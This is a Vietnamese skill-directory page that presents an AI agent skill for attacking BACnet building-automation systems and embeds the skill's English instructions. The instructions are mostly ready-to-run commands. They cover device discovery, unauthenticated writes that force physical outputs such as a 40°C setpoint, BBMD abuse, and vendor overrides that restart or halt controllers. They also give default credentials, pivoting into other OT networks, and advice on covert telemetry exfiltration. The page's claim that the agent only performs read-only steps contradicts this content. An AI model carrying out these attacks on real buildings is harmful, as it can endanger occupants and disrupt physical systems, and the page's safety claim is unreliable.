Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #14035

ics-bacnet

Skill này làm gì

Hướng dẫn này nói về kiểm tra bảo mật cho BACnet, giao thức vận hành hệ thống sưởi, chiếu sáng và kiểm soát ra vào trong tòa nhà thương mại. Dành cho người vận hành tòa nhà và đội bảo mật có phê duyệt bằng văn bản.

Khi nào nên dùng

  • ✓Khi một đánh giá được ủy quyền cần tìm các thiết bị tự động hóa tòa nhà trên mạng.
  • ✓Khi bạn muốn kiểm tra xem bộ điều khiển tòa nhà có chấp nhận yêu cầu mà không xác thực không.
  • ✓Khi người vận hành tòa nhà muốn biết thiết bị nào để lộ quá nhiều thông tin.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/bacnet/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/bacnet/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Chúng tôi vận hành hệ thống tự động hóa tòa nhà cho một văn phòng. Bạn có thể kiểm tra xem thiết bị BACnet nào nhìn thấy được và chúng có cần bảo vệ không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent gửi yêu cầu khám phá, liệt kê các thiết bị phản hồi và kiểm tra thông tin mỗi thiết bị để lộ ra, chỉ thực hiện các bước chỉ đọc.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

BACnet/IP Attack — Building Automation

BACnet runs HVAC, lighting, access control, elevators in commercial buildings. UDP/47808 by default. No authentication in BACnet/IP.

Discover

# Send Who-Is broadcast (BACnet's auto-discovery)
nmap -sU -p 47808 --script=bacnet-info 10.0.0.0/24

# Or with bacnet-tools (apt: bacnet-stack)
bacwi                                  # who-is broadcast
bacrp 1234 8 1 85                      # ReadProperty: device 1234, object analog-value 1, property 85 (present-value)

# bacpypes (Python)
python3 -c '
from bacpypes.app import BIPSimpleApplication
from bacpypes.core import run, stop
from bacpypes.iocb import IOCB
from bacpypes.local.device import LocalDeviceObject
from bacpypes.apdu import WhoIsRequest
ld = LocalDeviceObject(objectName="x", objectIdentifier=599, vendorIdentifier=15)
app = BIPSimpleApplication(ld, "10.0.0.99")
req = WhoIsRequest(); req.pduDestination = ("10.0.0.255",47808)
iocb = IOCB(req); app.request_io(iocb)
# Devices respond with I-Am
'

What you get from discovery

Each I-Am response identifies:

  • Device Instance number (PK for that device)
  • Vendor ID (Honeywell=24, Siemens=7, Schneider=10, Johnson Controls=5, ...)
  • Max APDU + Segmentation support

Look up the vendor — vendor-specific objects often expose more (admin override, factory reset, etc.).

Read everything

# Object types to enumerate: analog-input(0), analog-output(1), analog-value(2),
# binary-input(3), binary-output(4), binary-value(5), device(8), schedule(17), program(16)

# Read all objects on a device:
bacrpm 1234 8 1 76    # property 76 = object-list

# Each entry: (object-type, instance). Then for each:
bacrp 1234 0 1 85     # analog-input 1, present-value

Write attacks

Override an output (the actual physical effect)

# Force binary-output 5 ON with priority 8 (manual operator)
bacwp 1234 4 5 85 8 -1 0   # write True at priority 8

# AnalogOutput (e.g., setpoint) to 40°C
bacwp 1234 1 3 85 8 -1 40.0

Subscribe to COV — Change Of Value (passive observation w/ delivery to attacker)

bacscov 1234 0 1 60    # Subscribe to analog-input 1, 60-sec lifetime
# Server pushes updates as values change — passive tap on building telemetry

Broadcast Storm (BBMD abuse)

BBMD (BACnet Broadcast Management Device) forwards broadcasts across IP subnets. A misconfigured BBMD lets you reach EVERY BACnet device in the org from a single network position:

# Send Who-Is with destination = BBMD's broadcast-distribution-table
# Each device replies with I-Am directly to attacker — fingerprints the whole estate

Vendor-specific overrides

  • Johnson Controls Metasys: device.system-status writable from network → restart device
  • Siemens Apogee: program-state writable → halt/run program objects
  • Honeywell Niagara: web UI on port 80/443 often unauth or default creds (tridium/tridium)

Pivot from BACnet to OT network

A compromised BACnet controller often has secondary network interfaces:

  • Trunk to RS-485 sensor net (BACnet MS/TP)
  • Modbus to a chiller / VFD
  • LonWorks for older lighting controls
  • KNX for European installations

Once you control the BACnet gateway, you can tunnel to those sub-protocols.

OPSEC + safety

  • Building safety: writes to HVAC setpoints affect physical occupants. Don't change setpoints by >2°C without sign-off; many buildings have safety-system interlocks but not all.
  • COV subscriptions are visible in BACnet IDS (Tridium, Wattics, Siemens Cybertect) but not in network IDS — quiet exfil channel for building telemetry.
  • Logs: BACnet has no audit by default. Some controllers log via Niagara web UI — check that side.

References

  • "BACnet/IP Vulnerabilities" — Stephen Hilt, Trend Micro
  • bacpypes docs — github.com/JoelBender/bacpypes
  • DEFCON 28 ICS Village "Building Automation Attacks" — Marc Rogers
  • ASHRAE 135 (the BACnet spec itself — reference what's writable per object type)
Câu hỏi thường gặp

BACnet có xác thực không?

Hướng dẫn cho biết BACnet qua IP không có xác thực tích hợp, nên các biện pháp kiểm soát mạng rất quan trọng.

Broadcast khám phá là gì?

Đó là yêu cầu chuẩn để tất cả thiết bị BACnet trong mạng tự nhận diện.

Vì sao thông tin nhà cung cấp hữu ích?

Hướng dẫn lưu ý rằng thông tin nhà cung cấp giúp nhận diện loại thiết bị và các cài đặt đã biết của chúng.

Chi tiết

Mô tả gốc của tác giả

BACnet/IP attack — UDP/47808 discovery via Who-Is broadcast, ReadProperty / WriteProperty without auth, BBMD abuse for remote reach, vendor-specific I-Am responses, COV (Change Of Value) subscription flood, Building Automation HMI pivot.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#14035
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự